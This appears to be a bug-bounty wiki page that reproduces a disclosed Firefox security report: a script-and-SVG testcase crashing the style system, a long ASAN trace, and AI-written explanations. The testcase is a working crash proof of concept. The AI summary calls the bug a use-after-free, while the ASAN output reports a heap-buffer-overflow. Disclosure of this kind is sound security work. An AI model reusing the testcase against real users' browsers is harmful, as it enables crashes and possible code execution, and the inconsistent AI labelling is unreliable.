stylo: heap-use-after-free in nsRuleNode::Transition
A crafted SVG combined with scripted DOM manipulation triggers a memory-safety error in Firefox's style system, where a rule node reads past the end of a freed declaration block. An attacker could crash the browser process, and the memory corruption may be exploitable for code execution.
- Fixed in 4 days
- Paid in 4 months
- Disclosed after 4 days
Created attachment 8908978 mini.svg
The following testcase crashes he latest ASAN build of Firefox (BuildID=20170914215922). It requires the attach mini.svg in the same directory.
<script> function spin () { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start () { o56=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); o56.src='mini.svg'; o56.addEventListener('load', fun1,false); document.documentElement.addEventListener('DOMAttrModified',fun0); document.documentElement.setAttribute('class','class1 class4'); spin(); o88.srcdoc="<script>window.top.fun2(document)</"+"script>"; } function fun0 () { o88=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); top.document.documentElement.appendChild(o88); document.documentElement.appendChild(o56); } function fun1() { o240=o56.contentWindow; o241=o240.document; } function fun2(a) { o550=a; o561=o241.documentElement; o562=o550.documentElement; o562.append(o561); } </script>ASAN output:
<body onload="start()"></body> ================================================================= ==3843==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000237ff8 at pc 0x7f2cb12f6b5c bp 0x7ffe38224f40 sp 0x7ffe38224f38 READ of size 8 at 0x603000237ff8 thread T0 (file:// Content) #0 0x7f2cb12f6b5b in nsCOMPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7 #1 0x7f2cb12f6b5b in nsRuleNode::nsRuleNode(nsPresContext*, nsRuleNode*, nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1837 #2 0x7f2cb12f7923 in nsRuleNode::Transition(nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1922:7 #3 0x7f2cb12e121b in DoForward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:31:26 #4 0x7f2cb12e121b in Forward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:42 #5 0x7f2cb12e121b in nsHTMLCSSStyleSheet::ElementRulesMatching(nsPresContext*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsHTMLCSSStyleSheet.cpp:86 #6 0x7f2cb139713c in bool EnumRulesMatching<ElementRuleProcessorData>(nsIStyleRuleProcessor*, void*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:797:15 #7 0x7f2cb1394a7a in nsStyleSet::FileRules(bool (*)(nsIStyleRuleProcessor*, void*), RuleProcessorData*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1175:5 #8 0x7f2cb1396d4e in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1355:3 #9 0x7f2cb1396940 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1391:10 #10 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/layout/style/nsStyleSet.h:147:12 #11 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:107 #12 0x7f2cb1534051 in nsCSSFrameConstructor::ResolveStyleContext(nsStyleContext*, nsIContent*, nsFrameConstructorState*, mozilla::dom::Element*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5202 #13 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5167:10 #14 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5183 #15 0x7f2cb1537d42 in nsCSSFrameConstructor::AddFrameConstructionItems(nsFrameConstructorState&, nsIContent*, bool, nsCSSFrameConstructor::InsertionPoint const&, nsCSSFrameConstructor::FrameConstructionItemList&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5841 #16 0x7f2cb151a113 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11319:9 #17 0x7f2cb152fb0a in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4199:9 #18 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3 #19 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5 #20 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337 #21 0x7f2cb15354e8 in nsCSSFrameConstructor::ConstructFrameWithAnonymousChild(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsFrameItems&, nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsICSSAnonBoxPseudo*, bool) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5447:5 #22 0x7f2cb1523a0e in nsCSSFrameConstructor::ConstructOuterSVG(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5464:10 #23 0x7f2cb152e97d in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4015:7 #24 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3 #25 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5 #26 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337 #27 0x7f2cb1523fd2 in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:12421:3 #28 0x7f2cb15201b9 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2759:5 #29 0x7f2cb1542fa9 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind, TreeMatchContext*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8098:9 #30 0x7f2cb1541932 in nsCSSFrameConstructor::ContentInserted(nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7983:3 #31 0x7f2cb148010c in mozilla::PresShell::Initialize(int, int) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:1796:26 #32 0x7f2cad34e360 in nsContentSink::StartLayout(bool) /builds/worker/workspace/build/src/dom/base/nsContentSink.cpp:1286:26 #33 0x7f2cac41ef2c in nsHtml5TreeOpExecutor::StartLayout(bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:628:18 #34 0x7f2cac41aab2 in nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor*, nsIContent**, bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOperation.cpp:1150:17 #35 0x7f2cac417a02 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:461:27 #36 0x7f2cac422b0f in nsHtml5ExecutorReflusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:55:18 #37 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #38 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #39 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #40 0x7f2cab61d8d1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #41 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #42 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #43 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #44 0x7f2cb0d30d5f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #45 0x7f2cb5072c17 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:880:22 #46 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #47 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #48 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #49 0x7f2cb50725ca in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:705:34 #50 0x4ec0a3 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #51 0x4ec0a3 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #52 0x7f2cc7e9382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #53 0x41d9f8 in _start (/fuzzer3/firefox/firefox+0x41d9f8)0x603000237ff8 is located 8 bytes to the left of 32-byte region [0x603000238000,0x603000238020) allocated by thread T0 (file:// Content) here: #0 0x4bc27c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ed88d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7f2cb09e477a in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7f2cb09e477a in mozilla::DeclarationBlock::Clone() const /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/DeclarationBlockInlines.h:36 #4 0x7f2cb12346d2 in ModifyDeclaration<(lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:351:5), (lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:357:5)> /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:315:21 #5 0x7f2cb12346d2 in nsDOMCSSDeclaration::ParsePropertyValue(nsCSSPropertyID, nsTSubstring<char16_t> const&, bool) /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:350 #6 0x7f2cb07a5910 in nsSMILCSSProperty::SetAnimValue(nsSMILValue const&) /builds/worker/workspace/build/src/dom/smil/nsSMILCSSProperty.cpp:134:19 #7 0x7f2cb07998fe in nsSMILCompositor::ComposeAttribute(bool&) /builds/worker/workspace/build/src/dom/smil/nsSMILCompositor.cpp:116:27 #8 0x7f2cb079711a in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:455:17 #9 0x7f2cb14993fb in Resample /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:74:21 #10 0x7f2cb14993fb in FlushResampleRequests /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:90 #11 0x7f2cb14993fb in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4160 #12 0x7f2cad405cbd in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:557:5 #13 0x7f2cad405cbd in nsDocument::FlushPendingNotifications(mozilla::FlushType) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8366 #14 0x7f2cac23c28b in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:703:14 #15 0x7f2cac23e515 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:632:5 #16 0x7f2cac23f17c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:488:14 #17 0x7f2caaa2136d in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28 #18 0x7f2cad40bced in nsDocument::DoUnblockOnload() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9194:18 #19 0x7f2cad40b8b1 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9116:9 #20 0x7f2cad3e4fe9 in nsDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5620:3 #21 0x7f2cad485a12 in applyImpl<nsDocument, void (nsDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1142:12 #22 0x7f2cad485a12 in apply<nsDocument, void (nsDocument::)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1148 #23 0x7f2cad485a12 in mozilla::detail::RunnableMethodImpl<nsDocument*, void (nsDocument::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1192 #24 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #25 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #26 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #27 0x7f2cb0b77978 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:323:25 #28 0x7f2cb0b77978 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155 #29 0x7f2cb0b7956c in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullablemozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3005:11 #30 0x7f2cae75d797 in mozilla::dom::XMLHttpRequestBinding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1251:9 #31 0x7f2caef02200 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3055:13 #32 0x7f2cb5557ca4 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #33 0x7f2cb5557ca4 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #34 0x7f2cb554183f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #35 0x7f2cb554183f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #36 0x7f2cb5528dcb in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #37 0x7f2cb5557e3c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #38 0x7f2cb5558792 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #39 0x7f2cb5faec0b in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2965:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7 in nsCOMPtr Shadow bytes around the buggy address: 0x0c068003efa0: fd fd fd fa fa fa fd fd fd fa fa fa 00 00 06 fa 0x0c068003efb0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00 0x0c068003efc0: 00 00 fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c068003efd0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003efe0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa 00 00 =>0x0c068003eff0: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa[fa] 0x0c068003f000: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003f010: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c068003f020: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c068003f030: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003f040: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3843==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a use-after-free of a style declaration block during rule-node transition, where the freed block is still referenced while resolving style for a newly inserted element.
Impact
The browser process aborts due to the heap-buffer-overflow, and the memory corruption could potentially be exploited for code execution.
What the attacker needed
Victim loads a crafted page; attached SVG served alongside
How it was found
- Load the HTML page that references the attached SVG in the same directory.
- The page creates an iframe pointing at the SVG and listens for its load event.
- A DOM attribute change on the root element creates a second iframe and moves the SVG iframe into the document.
- A synchronous XHR is sent to force event processing.
- The SVG iframe's document element is moved into the top document, triggering style resolution on the freed rule node.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox keeps track of styling rules in small objects. A bug meant that one of these objects was used after the memory behind it had been freed, so the browser read data it should not have. The result is a crash, and such memory mistakes can sometimes be turned into running attacker code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.